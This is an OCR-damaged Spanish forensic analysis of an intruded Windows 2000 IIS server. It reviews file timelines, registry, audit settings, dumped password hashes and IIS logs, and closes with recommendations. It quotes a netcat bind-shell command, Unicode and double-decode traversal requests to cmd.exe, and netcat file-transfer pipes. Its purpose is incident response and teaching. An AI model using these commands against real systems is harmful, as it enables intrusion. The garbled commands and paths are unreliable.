find c:\ -printf "%m;%Ax;S$AT;$Tx;%TT;%Cx;$CT;%U;%G; $s; %p\n"

Notemos que cuando establecemos el comando, delimitamos cada uno
de los atributos con una coma. Esto nos permitird importarlo a una hoja
de calculo. Después de que importemos los datos. Después de importar
estos datos, podemos realizar las clases de nombre de ruta del archivo.
Porque ya sabemos que C: \ WINNT \ sytem32 \ OS2 \ DLL es un camino
en el que el atacante dej6 sus herramientas, vamos a examinar ese

directorio:



Tabla 1.- Archivos sospechosos encontrados con el comando FIND.
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Created Date | CreatedTime | File Size File Name

08\23\2003 8:14:18 0 c:\WINNT\system32\os2

08\23\2003 8:14:18 8192 c:\WINNT\system32\os2\dll

10\01\2003 19:25:07 13929 c:\WINNT\system32\os2\dI\Configure
10\01\2003 19:25:07 15427 c:\WINNT\system32\os2\dI\COPYING
10\01\2003 19:25:07 68016 c:\WINNT\system32\os2\dll\cygregex.dll
10\01\2003 19:25:07 971080 c:\WINNT\system32\os2\dll\cygwin1.dll
12\07\1999 7:00:00 12646 c:\WINNT\system32\os2\dl\doscalls.dll
10\01\2003 19:25:08 902 c:\WINNT\system32\os2\dIl\iroffer.cron
10\01\2003 19:25:08 213300 c:\WINNT\system32\os2\dI|\iroffer.exe
10\01\2003 19:25:09 2924 c:\WINNT\system32\os2\dIl\Makefile.config
10\01\2003 19:25:09 0 c:\WINNT\system32\os2\dIl\mybot.ignl
10\01\2003 19:25:09 0 c:\WINNT\system32\os2\dIl\mybot.ignl.bkup
10\01\2003 19:25:09 4 c:\WINNT\system32\os2\dIl\mybot.ignl.tmp
10\01\2003 19:25:09 25774 c:\WINNT\system32\os2\dll\mybot.log
10\01\2003 19:25:09 168 c:\WINNT\system32\os2\dI\mybot.msg
10\01\2003 19:25:09 5 c:\WINNT\system32\os2\dll\mybot.pid
10\01\2003 22:26:23 49 c:\WINNT\system32\os2\dll\mybot.xdcc
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10\01\2003 21:56:22 49 c:\WINNT\system32\os2\dIl\mybot.xdcc.bkup
10\01\2003 22:26:23 233 c:\WINNT\system32\os2\dI\mybot.xdcc.txt
10\01\2003 19:25:09 19792 c:\WINNT\system32\os2\dIl\myconfig
10\01\2003 19:24:37 120320 c:\WINNT\system32\os2\dll\nc.exe
12\07\1999 7:00:00 247860 c:\WINNT\system32\os2\dll\netapi.dll
10\01\2003 19:25:09 5080 c:\WINNT\system32\os2\dI\README
10\01\2003 19:55:51 36864 c:\WINNT\system32\os2\dI\samdump.dll
10\01\2003 19:25:09 19767 c:\WINNT\system32\os2\dll\sample.config
10\01\2003 19:55:42 32768 c:\WINNT\system32\os2\dll\setup.exe
10\01\2003 19:58:38 342 c:\WINNT\system32\os2\dIl\temp.txt
10\01\2003 19:52:44 122880 c:\WINNT\system32\os2\dl\update.exe
10\01\2003 19:25:10 16735 c:\WINNT\system32\os2\dI\N\WHATSNEW
12\07\1999 7:00:00 108095 c:\WINNT\system32\0s2\0s0001.009

Vemos que la mayoria de las herramientas se crearon durante la noche

del 10 \ 01 \ 2003. Si hacemos una clasificacidn en los metadatos del

archivo por el tiempo de creaciéon y marcas de fecha, vemos que todos

estos archivos se crearon aproximadamente al mismo tiempo, como en la

Tabla 2.

Tabla 2.- Archivos creados durante el ataque en JBRWWW.

Created date | Created time | File size | File name
10\01\2003 |19:16:30 61440 | c:\WINNT\system32\PSEXESVC.EXE
10\01\2003 |19:24:37 120320 | c:\WINNT\system32\os2\dIl\nc.exe
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10\01\2003 |19:25:07 13929 | c:\WINNT\system32\os2\dIl\Configure
10\01\2003 |19:25:07 15427 c:\WINNT\system32\os2\dI\COPYING
10\01\2003 |19:25:07 68016 | c:\WINNT\system32\os2\dI\cygregex.dll
10\01\2003 |19:25:07 971080 | c:\WINNT\system32\os2\dI\cygwin1.dll
10\01\2003 |19:25:08 902 c:\WINNT\system32\os2\dl|\iroffer.exe
10\01\2003 |19:25:08 213300 |c:\WINNT\system32\os2\dI\iroffer.cron
10\01\2003 |19:25:09 2924 c:\WINNT\system32\os2\dll\Makefile.config
10\01\2003 |19:25:09 0 c:\WINNT\system32\os2\dI\mybot.ignl
10\01\2003 |19:25:09 0 c:\WINNT\system32\os2\dl\mybot.ignl.bkup
10\01\2003 |19:25:09 4 c:\WINNT\system32\os2\dI\mybot.ignl.tmp
10\01\2003 |19:25:09 25774 | c:\WINNT\system32\os2\dI\mybot.log
10\01\2003 |19:25:09 168 c:\WINNT\system32\os2\dIl\mybot.msg
10\01\2003 |19:25:09 5 c:\WINNT\system32\os2\dI\mybot.pid
10\01\2003 |19:25:09 19792 | c:\WINNT\system32\os2\dIl\myconfig
10\01\2003 |19:25:09 5080 c:\WINNT\system32\os2\dI\NREADME
10\01\2003 |19:25:09 19767 | c:\WINNT\system32\os2\dll\sample.config
10\01\2003 |19:25:10 16735 | c:\WINNT\system32\os2\dIN\WHATSNEW
10\01\2003 |19:48:44 0 c:\WINNT\system32\os2\dll\update.exe
10\01\2003 |19:52:44 122880 |c:\update.exe

10\01\2003 |19:55:42 32768 | c:\WINNT\system32\os2\dll\setup.exe
10\01\2003 |19:55:51 36864 | c:\WINNT\system32\os2\dI\samdump.dll
10\01\2003 |19:58:38 342 c:\WINNT\system32\os2\dll\temp.txt
10\01\2003 |21:56:22 49 c:\WINNT\system32\os2\dI\mybot.xdcc.bkup




10\01\2003

22:26:23

49

c:\WINNT\system32\os2\dI\mybot.xdcc
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10\01\2003

22:26:23

233

c:\WINNT\system32\os2\dll\mybot.xdcc.txt

Obviamente, sabemos que iroffer se instal6 en el sistema en etapas
anteriores de nuestra investigacion. También hemos visto que el
atacante, junto con PsExec, establecié una puerta trasera con netcat. Los

archivos que no sabiamos acerca aparecen en la tabla 2.

Todos los archivos de la Tabla 2 son de interés para nosotros, y nos
tocara copiar estos archivos en nuestra estacion de trabajo forense para

el andlisis de herramientas.

DATOS DEL REGISTRO

Hay dos personajes principales de investigacién que podemos descubrir
en el vertedero de registro. Aunque el resultado de dumping en el registro
es grande (en el caso de JBRWWW, que era mas de 7 MB de largo), se

pueden buscar rapidamente los cables siguientes:

e Los programas ejecutados en el arranque

e Las entradas creadas por las herramientas del intruso
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Podremos capturar el registro completo, en un formato mas bien criptico,
utilizando RegDmp sin opciones de linea de comandos. La salida con
formato ASCII es tal que las herramientas de registro de Microsoft puede
alterar el contenido. Debido a que estamos interesados en unas pocas
lineas, haremos nuestro analisis con un editor de texto estandar.
Después de obtener la salida con el comando regdmp, vemos que la
clave \ HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \
CurrentVersion contiene tres sub-claves que son de interés para
nosotros: Run, RunOnce y RunOnceEX. Los valores de las claves Run
significan programas que se ejecutan cuando se inicia el sistema.

JBRWWW tenia la siguiente informacion en esta area del registro:

Reliability
TimeStampInterval = REG _DWORD 0x00000000
Run
Synchronization Manager = mobsync.exe /logon
RunOnce

RunOnceEx

mobsync.exe es un sistema binario, por o que no se ve herramientas
que el intruso destino a ejecutarse en el inicio del sistema. Si el atacante
fue inteligente, pudo haber colocado el comando siguiente en el registro

para abrir automaticamente una puerta trasera:
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nc-d-L-p 10000-e C: \ winnt \ system32 \ cmd.exe

Otra cosa que puede que deseamos ver en el registro es cualquier
artefacto sospechoso de la herramienta del intruso. Esto puede parecer
desalentador, pero en realidad no lo es. La mayor parte del tiempo se
conocen los nombres de las herramientas debido a las entradas en el
sistema de archivos. Por lo tanto, en el caso de JBRWWW, es posible
buscar "PsExec", "iroffer", u otros nombres de archivo correspondientes.

La busqueda de estos nombres no produjeron nada para JBRWWW.

Este paso se hace mas importante cuando se tiene un rack de servidores
y sabemos que uno estd comprometido. Después de hacer una
investigacion a fondo y encontrar los restos en el registro de las
herramientas de un intruso, podemos hacer una busqueda en otros

servidores para determinar si se han comprometido también.

LA POLITICA DE AUDITORIA

La siguiente serie de herramientas que se ejecutan dependera de la
politica de auditoria de BRWWW. Sin auditoria adecuada (y que es el

valor predeterminado para Windows NT y 2000, por cierto), no vamos a
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tener los registros relacionados con la seguridad. EI comando para
determinar la directiva de auditoria es auditpol. Auditpol se distribuye con
los kits de recursos de Microsoft. La siguiente informacion se devuelve
cuando se corre auditpol sin argumentos de linea de comandos en

JBRWWW:

AAkk Kk Ak Ak Ak Ak hkkhk

* Kk Kk kK auditpol * Kk Kk kK

khkkhkhkkkhkhkkkhkhk kA kA khkhkkkhk

Running

(0) Audit Disabled

System = No
Logon = No
Object Access = No
Privilege Use = No
Process Tracking = No
Policy Change = No
Account Management = No
Directory Service Access = No
Account Logon = No

Esto es preocupante! No hay eventos generados a partir de inicios de
sesion u otros eventos relacionados con la seguridad. Nuestros registros
de eventos del sistema no sera una buena fuente de informacion para

nosotros debido a la politica de auditoria conservadora.
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> UNA HISTORIA DE LOS INICIOS DE SESION

Una historia de inicios de sesion se puede obtener con el comando
NTLast, distribuido por http://www.foundstone.com. NTLastcan puede ser
ejecutado en una miriada de formas, pero estamos interesados en todos
los inicios de sesion, por lo que no vamos a utilizar argumentos de linea

de comandos cuando se ejecuta en JBRWWW:

khkkhkkkkhkhkkhkhkkhkhkkkh kK
* ok Kk kK ntlast * ok Kk kK

*hkkhkkhkhkhkhkhkkhhkkhkkkkkx

- No Records - Check to see if auditing is on

Esta herramienta depende de la directiva de auditoria para determinar el
historial de acceso. Como se puede ver, es muy importante para habilitar

la auditoria.

» LOS REGISTROS DE EVENTOS DEL SISTEMA

Por lo general, hay tres tipos de registros de eventos en un equipo con

Windows:
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e Seguridad
e Aplicacion

e Sistema

El comando PsLogList dentro del conjunto PsTools distribuido en
http://www.sysinternals.com va a extraer estos registros en un agradable,
facil de leer formato de texto. El siguiente comando volcara el Registro de
eventos de Seguridad un formato delimitado por comas adecuado para la

hoja de calculo:

psloglist-s-x security

El interruptor-s le dice a psloglist para volcar cada evento en una sola
linea que la salida es adecuada para el analisis con una hoja de célculo.
El modificador-x dice psloglist para volcar la informacion extendida para
cada evento. También puede reemplazar la seguridad con la aplicacion o

el sistema si desea adquirir los otros registros en el sistema victima.

El registro de sucesos de seguridad contiene toda la informacion
generada por nuestra politica de auditoria. Lo mas importante,
estariamos interesados en la informacion acerca de los inicios de sesion /

cierres de sesion y cualquier objeto auditado en el sistema. Por supuesto,
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como era de esperar, JBRWWW no reporta ningdn evento en los

registros.

El registro de sucesos de aplicacion contiene los datos generados por las
aplicaciones instaladas. Algunos eventos son informativos, mientras que
otros indican errores de la aplicacion. Al examinar los registros
JBRWWW de aplicacion, todo lo que vemos son mensajes creados a
partir de la instalaciébn de programas estandar en el sistema a partir de

agosto 23, 2003.

El registro de sucesos del sistema, contiene los mensajes de los
servicios del sistema. El registro del sistema es el registro en el que se
veria fallos de controladores de dispositivos, los conflictos de direcciones
IP y otra informacion. Al examinar los registros JBRWWW de sistema,
vemos unicamente los mensajes creados por el uso normal del sistema.
Parece que los registros de eventos, en esta investigacion, no nos dan

pistas validas.

» CUENTAS DE USUARIO
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La forma mas facil de puerta trasera para un intruso a utilizar es uno que
se mezcla en los patrones de trafico normal de la maquina victima. Por lo
tanto, tendria sentido que el atacante creara un nuevo usuario para poder
acceder a los mismos servicios que utilizan los usuarios validos. Es facil
para nosotros volcar las cuentas de usuario con la utilidad pwdump, que

es bien conocido por los administradores y los agresores por igual.

Al escribir sobre pwdump JBRWWW, recibimos la siguiente informacion:

R R R e b I b e S A A i I dh i

*xkkk pydump3 *EEE*
Kk ok Kk ok Kk ok Kk ok Kk ok Kk kK
Administrator:500:9DCFDO5D3688BBBFAAD3B435B51404EE:CB8C5705F92DE9
D8D11642948ECCAB72: ::

Guest:501:NO PASSWORD* * * % &k x &k kK ki ok kkkxkkx % s NO
PASSHWORD** Xk *kkkxkkkkkkkkkkkkx s s s

IUSR _JBRWWW:1000:B936986BA1C5636BOF28D0549F4A7C10:137C045C1CACAES
BO7C6C3B88BFOCE6D: : :

IWAM JBRWWW:1001:DA3DF28964893179378B2EB9047FBA87:A2C8D0OEC209C60A

48DB9365A51565DC4: :

Hay 4 usuarios creados para JBRWWW: Administrator, Guest,

IUSR_JIBRWWW, y IWAM_JBRWWW.
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Administrador es la cuenta de superusuario (RID 500) que cada sistema
debe tener. Invitado es una cuenta deshabilitada que también existe en
todos los sistemas Windows. USER_JBRWWW y IWAM_JBRWWW son
cuentas de usuario normales que los procesos, como el servidor Web IIS,
utiliza para ejecutar. Estas cuentas estan en la maquina para limitar el
dafio que un atacante podria provocar que el sistema a través de un
ataque basado en Web, porque solo tienes una cuenta de usuario
humilde de acceso de administrador. Vemos que no hay otras cuentas en

JBRWWW de interés.

IS LOGS

La mayoria de los ataques en la era moderna suceden en el puerto TCP
80 (HTTP). ¢Por qué? Debido a que hay literalmente millones de
servidores Web que se ejecutan, y el puerto de entrada de tréafico 80 rara
vez esta bloqueado en fronteras de la red de la victima. No se puede
bloguear lo que se debe permitir. S6lo podemos adivinar en este

momento que pudo haber sido el servidor web IIS.

El servidor Web 1IS escribe cualquier actividad a los registros en el
directorio C: \ winnt \ system32 \ logfiles por defecto. En este directorio,

hay otro directorio llamado W3SVCn, donde n es el identificador Gnico del
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servidor Web. Por lo general, esta identificacion se inicia en uno, sino
porque un servidor web puede alojar dominios, cada directorio W3SVC
debe ser analizado. JBRWWW sdlo organiz6 un dominio, por lo que el

directorio de interés es W3SVC1.

Dentro del directorio W3SVC1 hay dos archivos: ex030923.log y
ex031001.log. Cada uno de estos registros contiene la actividad del
servidor web durante un dia entero. El nombre del archivo que distingue

al dia:

ffyymmdd. log

JBRWWW esta utilizando el formato predeterminado de registro
ampliado y contiene actividades para los dias de 9 de septiembre de

2003 y octubre 1, 2003.

El siguiente problema que debemos superar es cémo transferir los
registros relevantes para nuestra estacion de trabajo forense. No
gueremos que los FTP o para realizar cualquier otro comando intrusivo
gue en gran medida cambiaria el estado de JBRWWW porque estaremos
realizando una duplicacion forense en el futuro. Vamos a utilizar

archivo.txt para transferir archivo.txt de la maquina de la victima a la
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estacion de trabajo forense. Por lo tanto, en primer lugar ejecutaremos

este comando en la estacion de trabajo forense:

nc-v-l-p 2222> ex030923.1log

A continuacion, escribimos el siguiente comando en JBRWWW para
transferir el archivo llamado ex030923.log a nuestra estacion de trabajo

forense:

escriba c: \ winnt \ system32 \ logfiles \ w3svcl \ ex030923.log

| nc  forensic workstation ip address 2222

Pulsamos CTRL-C cuando el archivo se termine de transferir. Esto se
puede confirmar con una sesion de red de monitoreo simple. También se
realizd la misma serie de comandos para transferir ex031001.log a la

estacion de trabajo forense.

Cuando abrimos ex030923.log, vemos el siguiente encabezado:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-09-23 22:50:59

#Fields: time c-ip cs-method cs-uri-stem sc-status



78

La fecha y la hora, son denunciados en GMT, no EDT (hora local
JBRWWW). La segunda linea muestra los campos grabados. Estos son
los campos predeterminados que se registran en el servidor IS, pero hay
muchos mas disponibles si el administrador les permite. Una buena
referencia para estos campos existe en

http://www.microsoft.com/technet/prodtechnol/windowsserver2003/prodd

ocs/standard/ref we logging.asp

Al comenzar a hojear las primeras lineas, nos damos cuenta de algo muy
interesante. En primer lugar, los accesos ocurren muy rapidamente, y la
direccién IP de origen es 95.16.3.79. La velocidad de los accesos web es
mucho mas rapido que una persona puede ingresar. En segundo lugar, la

solicitud de cuarto tiene una palabra clave interesante incrustado en él:

22:51:17 95.16.3.79 GET /Nikto-1.30-Y7hUN21Duija.htm 404

Nikto es bien conocido como escaneo de vulnerabilidad de servidor web
desde http://www.cirt.net/code/nikto.shtml.

No tendria sentido que una herramienta de exploracién de vulnerabilidad
Web pueda acceder a IBRWWW repetidamente en un corto periodo de
tiempo. Otro signo revelador es el codigo de estado (el numero 404

anterior). Cada vez que este numero se encuentra en los 400, el acceso


http://www.microsoft.com/technet/prodtechnol/windowsserver2003/proddocs/standard/ref_we_logging.asp
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/proddocs/standard/ref_we_logging.asp
http://www.cirt.net/code/nikto.shtml
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no tuvo éxito. Si el codigo de estado estaba en los 200, el acceso se ha
realizado correctamente. Web escaneres de vulnerabilidad generan
numerosos codigos de resultado en los afios 400. Otros codigos de
resultado se pueden comparar a la tabla en
http://www.iisfag.com/default.aspx?View=A145&P=230. Al revisar el
registro para septiembre 9, vemos que toda la actividad provino de una
direccion IP en menos de un minuto. JBRWWW fue victima de un
analisis de vulnerabilidades HTTP en ese dia.

En Octubre 1 del 2003, vemos la siguiente actividad:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0

#Date: 2003-10-01 22:58:53

#Fields: time c-ip cs-method cs-uri-stem sc-status
22:58:53 95.208.123.64 GET /NULL.printer 404
23:00:55 95.208.123.64 HEAD /iisstart.asp 200
23:01:18 95.16.3.79 GET /iisstart.asp 200

23:01:18 95.16.3.79 GET /pagerror.gif 200

23:01:18 95.16.3.79 GET /favicon.ico 404

23:03:23 95.208.123.64 GET /NULL.printer 404
23:08:45 95.16.3.79 GET /NULL.printer 404

23:15:09 95.208.123.64 OPTIONS / 200

23:16:30 95.208.123.64 OPTIONS / 200

23:16:30 95.208.123.64 PROPFIND /ADMINS 404



80

23:17:04 95.16.3.79 GET
/scripts/../../../../winnt/system32/cmd.exe 200
23:17:54 95.16.3.79 GET
/scripts/../../../../winnt/system32/cmd.exe 502

23:20:19 95.16.3.79 GET

Q

/scripts/..%5c..%5c..%5c../winnt/system32/cmd.exe 200
23:32:43 95.208.123.64 OPTIONS / 200

23:32:43 95.208.123.64 PROPFIND /ADMINS 404

23:33:52 95.208.123.64 PROPFIND /ADMINS 404

23:58:16 95.208.123.64 OPTIONS / 200

23:58:16 95.208.123.64 PROPFIND /ADMINS 404

La primera linea es un signo revelador de desbordamiento de bufer con
la extension "Impresora” de Microsoft Windows 2000 (Securityfocus.com
Bugtraq ID 2674) de la direccion IP 95.208.123.64. Porque estamos
viendo el ataque en nuestros registros, sabemos que no tuvo éxito.
Normalmente, cuando este desbordamiento de bufer se utiliza en un
servidor vulnerable, hace que se cierre el servidor Web, por lo que la
actividad no se registra en el registro de 1IS. Las siguientes cuatro lineas
se atribuyen a los usuarios en 95.208.123.64 y 95.16.3.79 accesando a
la pagina web por defecto, tal vez comprobando si el servidor Web se
encuentra disponible. ElI segundo conjunto de lineas representa los
intentos fallidos de 95.208.123.64 y 95.16.3.79 utilizando el mismo

desbordamiento de bufer ". Impresora”. Ver dos direcciones IP nos dice
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que puede ser la misma persona 0 mas de una persona que estan

trabajando juntos.

El tercer conjunto de lineas muestra un ataque con éxito (debido a los
codigos de resultado son 200 y 502). Si diseccionamos el ataque, vemos
que alguien accede a la carpeta C: \ winnt \ system32 \ cmd.exe
ejecutable. El servidor Web no debe tener acceso a la consola de
comandos cmd.exe. En resumen, 95.208.123.64 fue capaz de ejecutar
comandos en JBRWWW en el contexto de IUSR_JBRWWW (no
administrador). Las dos primeras lineas de este conjunto se lo que
conoce como el ataque Unicode. La ultima linea muestra el ataque
Decode doble. Ambos ataques son un ataque de directorio transversal en
el que el atacante se escapa el directorio en el que se restringe el
servidor Web para ejecutar programas arbitrarios en la maquina victima.
Para localizar rapidamente atagues similares en otras maquinas,
podriamos buscar cmd.exe en los registros de IIS y ver si el codigo de
resultado fue de 200. Porque JBRWWW no permiti6 mas campos en los
registros ampliados del W3C, que no podemos ver lo que el atacante

corrié con el shell de comandos.

» ARCHIVOS SOSPECHOSOS
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Si no estaban adquiriendo una duplicacion forense de JBRWWW,
podriamos transferir cualquier archivo sospechoso con nuestro "Poor
man’s FTP" utilizando netcat. La sintaxis del mandato para ejecutar la

estacion de trabajo forense es el siguiente:

nc-v-1l-p 2222> nombre de archivo

Ahora, escriba el siguiente comando en JBRWWW para transferir el
archivo llamado “nombre de archivo” para nuestra estacion de trabajo
forense. Recuerde que el archivo con el nombre del archivo no debe
contener texto ASCII. También puede transferir archivos binarios en la

maquina victima de esta manera.

Tipo de nombre de archivo | nc forensic workstation ip address

2222

Los binarios que fueron marcados por nuestro analisis del sistema de
archivos, ya que se crearon durante la intrusion son los siguientes, en la

Tabla 3:

Tabla 3.- Los Binarios sospechosos transferidos desde JBRWWW.

File Name

c:\WINNT\system32\os2\dll\nc.exe

c: \WINNT\system32\os2\dll\Configure




: \WINNT\system32\os2\d11\COPYING
:\WINNT\system32\os2\dll\cygregex.dll

: \WINNT\system32\os2\dll\cygwinl.d1ll
:\WINNT\system32\os2\dll\iroffer.cron

: \WINNT\system32\os2\dll\iroffer.exe

: \WINNT\system32\PSEXESVC.EXE
:\WINNT\system32\os2\dll\Makefile.config
:\WINNT\system32\os2\dll\mybot.ignl

: \WINNT\system32\os2\dll\mybot.ignl.bkup
:\WINNT\system32\os2\dll\mybot.ignl. tmp
: \WINNT\system32\os2\dll\mybot.log
:\WINNT\system32\os2\dll\mybot.msg

: \WINNT\system32\os2\d1ll\mybot.pid
:\WINNT\system32\os2\dll\myconfig

: \WINNT\system32\os2\d1l1l\README
:\WINNT\system32\os2\dll\sample.config

: \WINNT\system32\o0s2\d11\WHATSNEW
:\update.exe

: \WINNT\system32\os2\dll\update.exe
:\WINNT\system32\os2\dll\setup.exe

: \WINNT\system32\os2\dll\samdump.dll
:\WINNT\system32\os2\dll\temp. txt

: \WINNT\system32\os2\d1ll\mybot.xdcc.bkup
:\WINNT\system32\os2\dll\mybot.xdcc

: \WINNT\system32\os2\d1ll\mybot.xdcc. txt
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CONCLUSIONES

El objetivo inicial era determinar si se produjo un incidente. Los datos
volatiles y no volatiles recogidos durante la respuesta de Windows live
indica que una intrusidn no autorizada de hecho ocurri6. La figura 1-1
muestra el estado en curso de las conexiones de red no autorizadas

detectadas durante la respuesta.

JBRWWWW
IP: 103.98.91.41

NETBIOS R/
FTP
IROFFER

A\

IP: 95.145.128.17 IP: 95.208.123.64 IP:95.16.3.23

Figura 1.- Conexiones de red durante la intrusion 9:58 Pm el 1 de
Octubre, 2003



Aunque no hubo registros de eventos de seguridad de Windows, los
registros de IIS indicaron que JBRWWW fue escaneada con una utilidad
de escaneo Web conocida como Nikto en 6:51:17 PM del 23 de
septiembre de 2003, de la direccion IP 95.16.3.79. Aproximadamente 18
segundos antes de la exploracion, una pagina web predeterminado de I1IS
se accede desde la direccién IP 95.16.3.23. Esto es comun antes y
después de un ataque por el intruso para comprobar el estado de la
pagina web mediante el acceso a una pagina. Esto puede indicar que el
atacante tiene acceso o control del sistema en 95.16.3.73 o tal vez estaba

trabajando con alguien que lo hizo.

Luego, el 1 de octubre de 2003, un atacante desde la direccion IP
95.208.123.64, posiblemente Trabajando en conjunto con 95.16.3.79,
inici6 un ataque Unicode éxitoso después del fracaso de intentos de

desbordamiento de bufer. ". Impresora”.

Aunque los detalles no se han determinado, parece que los atacantes
fueron capaces de ejecutar comandos en JBRWWW a través del IS
ataque Unicode y establecer una sesion FTP de nuevo a uno de sus
sistemas. También fueron capaces de instalar netcat e iroffer en el

directorio C: \ WINNT \ system32 \ OS2 \ directorio dIl. La Figura 1-2



muestra una secuencia general de la actividad basada en la informacion

recogida durante la respuesta.

NetBIOS NULL
administrator
session from

95.208.123.64

PSEXESVC PSEXESVC
System taken

CMD.EXE CMD.EXE CMD.EXE CMD.EXE
Intrusion off-line and forensic
FTP.EXE NETCAT IROFFER response image obtained
started

6:58 PM
; 9:58:19 PM
onp OFM| 734PM | 7:36PM | 7:58 PM
’ 10:30 PM
7:19 PM 7:35 PM 7:37 PM 9:52 PM
Successful
Unicode
attack from
95.16.3.79

Failed .printer
buffer overflow
attacks from
95.208.123.64
95.16.3.79

Figura 2.- Linea de tiempo para Octubre del 2003



RECOMENDACIONES

Para evitar que la empresa sea nuevamente victima de un ataque, ya sea

interno o externo, recomendamos los siguientes puntos basicos:

1. Seguridad a nivel de red:

1.1.Implementar un firewall o cortafuegos que permita establecer un
control de acceso basandose principalmente en la direccion IP origen
de las peticiones dirigidas a su servidor, bloquear los protocolos
considerados de administracion (Remote Desktop o Terminal Service,
telnet, ssh, webmin, usermin y si es posible ftp) desde el exterior, de
tal forma que sélo se pueda acceder desde las direcciones IP internas
que normalmente se empleen para realizar trabajos especificos.

1.2.En el caso de servidores con sistema operativo Windows es
necesario el bloqueo de NetBios y protocolos asociados de Microsoft,
porque estos servicios no deberian estar visibles desde Internet.

1.3. También se recomienda redisefiar la red e implementar en la zona
desmilitarizada el uso de listas de control de acceso (ACL’s) y
software de prevencion de intrusos (IPS), para evitar ataques y
controlar el uso o dafio de los servicios alojados y brindados de sus

servidores.



2. Seguridad en la autenticacion:

2.1.Se recomienda la gestion de usuarios y contrasefias en todos los

servicios que puedan ser victimas de accesos no permitidos, algunas

recomendaciones:

o

o

No usar contrasefias nulas o igual al nombre del usuario
No emplear palabras del diccionario

No usar secuencias de teclado

Combinar letras, nUmeros y caracteres especiales
Longitud mayor a 8 o 10 caracteres

No proporcionar datos de acceso a terceros

Cambiar contrasefias de forma periodica

3. Seguridad a nivel de aplicacién:

3.1.Es recomendable el mantenimiento de las aplicaciones o software ya

sean desarrollados por terceros o propios:

o

Software de terceros: Se recomienda suscribirse a anuncios
de nuevas versiones, tener actualizados los bugs o fallas de
seguridad de los mismos.
Software propio, se recomienda:
= Comprobar los codigos para encontrar fallos y huecos
de seguridad

= Emplear usuarios con el minimo de privilegios



= Comprobacion de identidad en todas las paginas
restringidas
Activar autenticacion de usuarios en las paginas de
administracion y gestion.
No dejar ficheros con informacién, accesibles bajo el

directorio raiz (docroot).

4. Otras recomendaciones:

4.1.Elaborar e implementar una politica de seguridad basada en el

estandar ISO 27001, que enfatiza la importancia de:

o

o

o

Entender los requerimientos de seguridad de la organizacion
y la necesidad de establecer politicas y objetivos para la
seguridad de la informacion

Implementar y operar controles para manejar los riesgos de
la seguridad de la informacion

Monitorear y revisar el rendimiento del sistema de gestion

Mejoramiento continuo de la politica implementada

4.2.Establecer planes de contingencia, los problemas son inevitables y

hay que tratar que no sucedan, gracias al andlisis de riesgos hay que

establecer la implementacién de otras alternativas para que los

servicios mas importantes de su empresa siempre estén disponibles.



ANEXQOS
Anexo A: AUTOPSY

La siguiente documentacion explica brevemente como se realizaron
ciertos pasos importantes que nos ayudaron al analisis forense de la
intrusion.

Para la realizacion del andlisis utilizamos una distribucién de Linux llamada
Caine, con ella nos ayudamos a manipular la imagen del disco de la
maquina que fue atacada, lo primero que hicimos fue colocar permisos de
solo lectura del disco para asi no modificar ningun registro del mismo.
Luego de ello verificamos el shalsum de la imagen del disco, como se
puede visualizar en la figura 1 - shalsum es un comando de los sistemas
Unix que permite identificar la integridad de un fichero mediante la suma

de comprobacion del hash SHA-1 de un archivo.


http://es.wikipedia.org/wiki/Unix
http://es.wikipedia.org/wiki/Hash
http://es.wikipedia.org/wiki/Secure_Hash_Algorithm

> i FoOt@]E0-dESKIOp: /CAS0!

Fle Edit View Terminal Help

vo/forensic_duplication/JBRwwW.cleansed.dd /caso

Sat Aug 18, 10:17 PM

@@ @ & ] ({3 &3 [¥]CTRLDERECHA

Figura 3.- Shalsum de imagen de disco

Luego de esto utilizamos el comando fsstat para obtener informacién del
sistema de archivo en forma dindmica de la imagen forense del disco
como se muestra en la figura 2, esta informacion nos ayuda para cuando
tengamos que montar la imagen para obtener informacion de los archivos

por medio de comandos de Caine.



]

Maquina Ver Dispositivos  Ayuda
@ FOOL@IE0-0ESKLOP: [CH50) ===

Mo [temns in Trash
Sat Aug 18, roremrrr

=N
©@® 7 & 110} @ [2)cr DerecHa

Figura 4.- Fsstat Informacion del sistema de archivos

Como la extraccion de los log’s se realizd6 por medio de la aplicacion
grafica llamada Autopsy, tuvimos que crear un nuevo caso en donde
colocamos cierta informacion sobre el mismo como el nombre del caso,
descripcion y los nombres de las personas que trabajaron el mismo; luego
de ello se agregd el nombre del host o maquina analizado, como se
muestra en la figura 3. Luego de esto se colocd la ruta en donde se
encuentraba localizada la imagen objeto de andlisis, el tipo de la imagen -
es decir si es disco o solo particibn - y el método de importacion del

mismo, tal como se aprecia en la figura 4.


http://www.sleuthkit.org/autopsy/

Create ATNEW Case =M ozl | Eiretox

File Edit View History Bookmarks Tools Help

<« - ¢ @ | | hittp:/flocalhost:9999/autopsy ?mod=0&view=1 v | | M |Google @,

fi&yAutopsy localhost [@]caine-live.net [@) CFI- Computer For... # CRIS & The Sleuth Kit & Au... [8]Unimo

{» Create A New Case | = v
CREATE A NEW CASE

1. Case Name: The name of this investigation. It can contain only letters, numbers, and
symbols.

2. Description: An optional, one line description of this case.

3. Investigator Names: The optional names (with no spaces) of the investigators for this

case.
a. | | b. | |
c | | d. | |
e | £ | ]
Done
@ E\clﬁ‘;\ere tcﬁ;é”—wigﬁs Emmm'—cp‘ ta & Sat Aug 18, 1:07 PM :

Figura 5.- Descripcion del caso del analisis

Importante: la ruta de la imagen analizada debe ser absoluta, es decir

partiendo desde el directorio raiz (root).

'T,- caine [Corriendo] - Oracle VM VirtualBox v L ’ ool
Maquina Ver Dispositivos  Ayuda
Addiimage o banco-hostl ="Mozilla Eirefox
File View History Bookmarks Tools Help
I 4;! - g @ ‘ﬁ|http:.’/lucalhost:9999,iautopsy?mod:D&view:B&hos v | [*8v |cCoogle @,
{iixAutopsy localhost (@] caine-live.net [g] CFl - Computer For... 3 CRIS i The Sleuth Kit & Au... [g]Unimo
|6Add Image To banco:hostl | ] ~
ADD A NEW IMAGE |~
| 1. Location
H Enter the full path (starting with /) to the image file.
If the image is split (either raw or EnCase), then enter '™ for the extension.
[Tesis/]BRWWW.cleansed.dd
2. Type
Please select if this image file is for a disk or a single partition.
@ Disk ' Partition
il 3. Import Method
To analyze the image file, it must be located in the evidence locker. It can be imported from its L
current location using a symbolic link, by copying it, or by moving it. Note that if a system
failure occurs during the move, then the image could become corrupt.
@ Symlink ) Copy O Move
Done B
